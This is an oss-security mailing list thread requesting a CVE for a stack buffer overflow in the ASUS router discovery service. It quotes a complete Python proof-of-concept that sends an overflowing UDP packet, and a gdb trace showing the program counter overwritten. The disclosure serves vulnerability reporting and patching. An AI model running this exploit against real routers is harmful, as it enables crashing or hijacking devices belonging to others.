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Message-ID: <c3e46525-fa16-529b-ffde-78ea54fc972e@gmail.com>
Date: Fri, 14 Jul 2017 10:51:29 +0800
From: varsleak <varsleak@...il.com>
To: Zach W <kestrel@...linux.us>, oss-security@...ts.openwall.com
Subject: Re: CVE-IDs request for ASUS wiress router Remote
Command/Code Execution Vulnerability
They are of course different, CVE-2017-6548 vulnerability code is
located in the networkmap service routine, and I found the vulnerability
in the asusdiscorvery service program.
在 2017年07月14日 02:39, Zach W 写道:
> How is this different from CVE-2017-6548?
>
> Zach W.
>
>
> On 7/12/17 7:57 PM, varsleak wrote:
>> Hello, I review the source of asuswrt-merlin and found a Remote
>> Command/Code Execution, the detail as follows:
>>
>>
>> 1. Vulnerability Details
>> Affected Vendor:RT-AC5300,RT_AC1900P,RT-AC68U,RT-AC68P,RT-AC88U,
>> RT-AC66U,RT-AC66U_B1,RT-AC58U,RT-AC56U,RT-AC55U,RT-AC52U,RT-AC51U,
>> RT-N18U,RT-N66U,RT-N56U,RT-AC3200,RT-AC3100,RT_AC1200GU,
>> RT_AC1200G,RT-AC1200,RT-AC53,RT-N12HP,RT-N12HP_B1,RT-N12D1,
>> RT-N12+,RT_N12+_PRO,RT-N16,RT-N300
>> and Asuswrt-Merlin(https://github.com/RMerl/asuswrt-merlin)
>> Affected Product: ASUS Wiress Router
>> Affected Version: all the latest firmware
>> Platform: router
>> Impact: Remote Command/Code Execution
>> Attack vector: asusdiscorvery service
>>
>> 2. Vulnerability Description
>> When an ASUS router discovers another router device,
>> it does not buffer the size of all discovered devices
>> when it is added to the device list to cause a stack overflow,
>> resulting in a remote code/command execution vulnerability.
>> The vulnerability code is as follows:
>>
>> https://github.com/RMerl/asuswrt-merlin/blob/master/release/src/router/networkmap/ASUS_Discovery.c#L184-L202
>>
>> 3. PoC:
>> <<<EOF
>> # coding=utf-8
>>
>> import time
>> import socket
>> import sys
>> import os
>> import threading
>> import struct
>> import random
>> import time
>> ''' Please run PoC first, and it must run on windows '''
>> class ASUSDiscoveryBufferOverflow:
>> """ set remote host and remote port to use exp """
>> def __init__(self, RHOST, RPORT, LHOST):
>> self.RHOST = RHOST
>> self.RPORT = RPORT
>> self.LHOST = LHOST
>>
>> def exploit(self):
>> """ execute exploit """
>> self.searchDevice()
>> self.sentShellCode()
>>
>> def searchDevice(self, socket_prot = socket.IPPROTO_UDP):
>> """ search ASUS Discovery packet """
>> print(" [-] try to search ASUS Discovery packet")
>> while(True):
>> sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_prot)
>> sniffer.bind((self.LHOST, 0))
>> sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
>> if os.name == 'nt':
>> sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
>>
>> pkt, hosts = sniffer.recvfrom(65565)
>>
>> if self.RHOST == hosts[0] and '\x11' == pkt[9]:
>> if (pkt[28] == '\x0C' and
>> pkt[29] == '\x15' and
>> pkt[30] == '\x1F' ):
>> print(" [+] bingo!")
>> break
>>
>> def sentShellCode(self):
>> s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
>>
>> for i in range(15):
>> s.sendto(self.makeShellCode(), (self.RHOST, self.RPORT))
>> print(" [-] sent %d cycle" % (i + 1))
>> time.sleep(0.2)
>>
>> def generatingRandomMacAddr(self):
>> tmp1 = random.randint(0, 0xff)
>> tmp2 = random.randint(0, 0xff)
>> tmp3 = random.randint(0, 0xff)
>> tmp4 = random.randint(0, 0xff)
>> tmp5 = random.randint(0, 0xff)
>> tmp6 = random.randint(0, 0xff)
>> return struct.pack('6B', \
>> tmp1, tmp2, tmp3, tmp4, tmp5, tmp6)
>>
>> def makeShellCode(self):
>> shellcode = "\x0c\x16\x1f\x00" # HEADER [ PLEASE NOT MODIFY ]
>> shellcode += (128 * b'A') # PKT_GET_INFO.PrinterInfo
>> shellcode += (32 * b'A') # PKT_GET_INFO.SSID
>> shellcode += (32 * b'A') # PKT_GET_INFO.NetMask
>> shellcode += (32 * b'A') # PKT_GET_INFO.ProductID
>> shellcode += (16 * b'A') # PKT_GET_INFO.FirmwareVersion
>> shellcode += b'A' # PKT_GET_INFO.OperationMode
>> shellcode += self.generatingRandomMacAddr() # PKT_GET_INFO.MacAddress
>> shellcode += (261 * b'A') #
>>
>> return shellcode
>>
>> def main():
>> poc = ASUSDiscoveryBufferOverflow('192.168.2.1', 9999, '127.0.0.1')
>>
>> print("[+] Try to use exploit ...")
>>
>> poc.exploit()
>>
>> print("[+] use exploit sucessful.")
>>
>> if __name__ == '__main__':
>> main()
>> EOF;
>>
>> 4. gdb trace
>> admin@...N12HP_B1:/tmp/bin# gdb /usr/sbin/asusdiscovery
>>
>> GNU gdb 6.8
>> Copyright (C) 2008 Free Software Foundation, Inc.
>> License GPLv3+: GNU GPL version 3 or later
>> <http://gnu.org/licenses/gpl.html>
>> This is free software: you are free to change and redistribute it.
>> There is NO WARRANTY, to the extent permitted by law. Type "show copying"
>> and "show warranty" for details.
>> This GDB was configured as "mipsel-linux"...
>> I'm sorry, Dave, I can't do that. Symbol format `elf32-tradlittlemips'
>> unknown.
>> (gdb) r
>> Starting program: /usr/sbin/asusdiscovery
>>
>> Program received signal SIGSEGV, Segmentation fault.
>> 0x41414141 in ?? ()
>> (gdb) info r
>> zero at v0 v1 a0 a1 a2
>> a3
>> R0 00000000 00000000 303e3134 00423a80 7fd650e8 00000001 00001000
>> 00423a80
>> t0 t1 t2 t3 t4 t5 t6
>> t7
>> R8 00423000 00423000 00000581 3a31343a 41414141 2ab89124 41414141
>> 2ab0fe10
>> s0 s1 s2 s3 s4 s5 s6
>> s7
>> R16 41414141 41414141 41414141 41414141 41414141 41414141 41414141
>> 41413e41
>> t8 t9 k0 k1 gp sp s8
>> ra
>> R24 00000014 2ab6ad70 7fd65f66 00000000 0041c050 7fd65d30 41414141
>> 41414141
>> status lo hi badvaddr cause pc
>> 01009c13 0000035d 00000070 41414140 00000008 41414141
>> fcsr fir restart
>> 00000000 00000000 00000000
>>
>> As we have seen, the registers s0-s8,t4,t6,ra and pc are overwritten by
>> 0x41.
>>
>> Finally, with the ROP can lead to Remote Command Execution.
>>
>> 5. Discover
>> varsleak of Sichuan Silent Information Technology Co., Ltd
>> company website: http://www.silence.com.cn/
>
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